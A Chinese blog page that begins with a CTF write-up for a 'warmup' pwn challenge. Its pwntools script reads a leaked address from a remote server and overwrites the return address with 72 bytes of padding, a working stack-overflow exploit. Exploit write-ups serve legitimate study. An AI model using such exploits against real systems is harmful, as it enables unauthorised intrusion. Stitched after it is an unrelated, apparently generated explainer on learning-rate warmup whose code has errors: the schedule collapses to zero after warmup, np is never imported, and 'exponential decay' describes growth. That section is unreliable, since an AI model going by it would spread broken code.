warmup

这个  其实 算是 入门题 

在上面可以看到 打印出来了很多东西  

然后 

发现他会 把我们这个地址打印出来 那么我们只要把返回地址 补充上就好了  

这里耗费了 我不少功夫

然后我们输入 动态调试一下  看看哪里  是返回值 

发现 插了 8*9  72个字符 那么 就很好办了

构造就完事了

# -*- coding:utf-8 -*-
from pwn import *
import binascii
#context.update(arch = 'amd64', os = 'linux', timeout = 1)
io=remote('111.198.29.45','30556')
io.recvuntil('WOW:0x')
tt=(io.recv(6))
#tt=0x40060d
#ss=tt.to_hex(tt)
#print ss
#tt=p64(tt)
system_addr=int(tt,16)
print io.recv()
print tt
#io.recvuntil('WOW:')
#tt.decode('hex')
#system_addr=p64(tt)
p=''
p+='a'*72+p64(system_addr)
print p
#io.recv()
io.sendline(p)
#print io.recv()
                    

 

### Warmup 在 IT 领域中的含义 在机器学习和深度学习领域,Warmup 是一种优化策略,用于改进模型训练过程中的收敛速度和稳定性。Warmup 的核心思想是在训练初期逐步增加学习率,而不是一开始就使用较高的学习率[^1]。这种方法可以有效防止由于初始阶段的学习率过高而导致的梯度爆炸或模型不稳定。 Warmup 技术通常应用于大规模神经网络训练过程中,尤其是在涉及 Transformer 架构的情况下(如 DeiT)。这是因为 Transformer 模型具有较大的参数量,在训练初期可能会因为过高的学习率而难以稳定收敛。 --- ### Warmup 的实现方式 以下是几种常见的 Warmup 实现方法: #### 方法 1:线性增长法 在线性增长法中,学习率会从一个较小的初始值逐渐线性增加到预设的最大值。这种技术可以通过以下公式表示: \[ \text{lr} = \min\left(\frac{\text{current\_step}}{\text{warmup\_steps}}, 1\right) \cdot \text{base\_learning\_rate} \] 其中 `current_step` 表示当前迭代步数,`warmup_steps` 表示 Warmup 执行的总步数,`base_learning_rate` 则是最终的目标学习率。 下面是基于 PyTorch 的线性 Warmup 实现代码示例: ```python def get_lr_warmup(optimizer, warmup_steps): def lr_lambda(current_step): if current_step < warmup_steps: return float(current_step) / float(max(1, warmup_steps)) return max( 0.0, float(warmup_steps - current_step) / float(max(1, warmup_steps)) ) return torch.optim.lr_scheduler.LambdaLR(optimizer, lr_lambda) # 使用示例 optimizer = torch.optim.Adam(model.parameters(), lr=base_lr) scheduler = get_lr_warmup(optimizer, warmup_steps=1000) for epoch in range(num_epochs): for batch in data_loader: optimizer.step() scheduler.step() ``` #### 方法 2:指数衰减法 另一种常见的方式是采用指数形式的增长函数。这种方式允许更灵活地控制学习率的变化曲线。其基本公式如下所示: \[ \text{lr} = \text{initial\_lr} \times e^{k \cdot t} \] 这里 \( k \) 和 \( t \) 分别代表增长率常数以及时间变量。 虽然该种方案较为复杂,但在某些特定情况下能够带来更好的效果。 #### 方法 3:余弦退火结合 Warmup 此组合方式先执行一段时间内的渐进升温操作,之后再切换至周期性的余弦退火模式。这有助于进一步提升泛化能力并减少震荡现象的发生概率。 下面是一个简单的 TensorFlow/Keras 版本实现例子: ```python import tensorflow as tf class WarmUpCosine(tf.keras.optimizers.schedules.LearningRateSchedule): def __init__(self, learning_rate_base, total_steps, warmup_steps): super(WarmUpCosine, self).__init__() self.learning_rate_base = learning_rate_base self.total_steps = total_steps self.warmup_steps = warmup_steps @tf.function def __call__(self, step): global_step_recomp = tf.cast(step, dtype=tf.float32) learning_rate = self.learning_rate_base * (global_step_recomp / self.warmup_steps) cosine_decay = 0.5 * ( 1 + tf.cos(np.pi * (global_step_recomp - self.warmup_steps) / (self.total_steps - self.warmup_steps))) learning_rate *= cosine_decay return tf.where(global_step_recomp >= self.warmup_steps, learning_rate, self.learning_rate_base * (global_step_recomp / self.warmup_steps)) # 调用实例 schedule = WarmUpCosine(learning_rate_base=0.01, total_steps=10000, warmup_steps=1000) opt = tf.keras.optimizers.SGD(schedule) model.compile(loss='categorical_crossentropy', optimizer=opt) ``` --- ### 总结 Warmup 主要作用在于缓解大型模型训练早期可能遇到的各种问题,比如数值不稳或者损失发散等状况。通过合理设置相关超参,可显著提高整体效率与质量表现。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值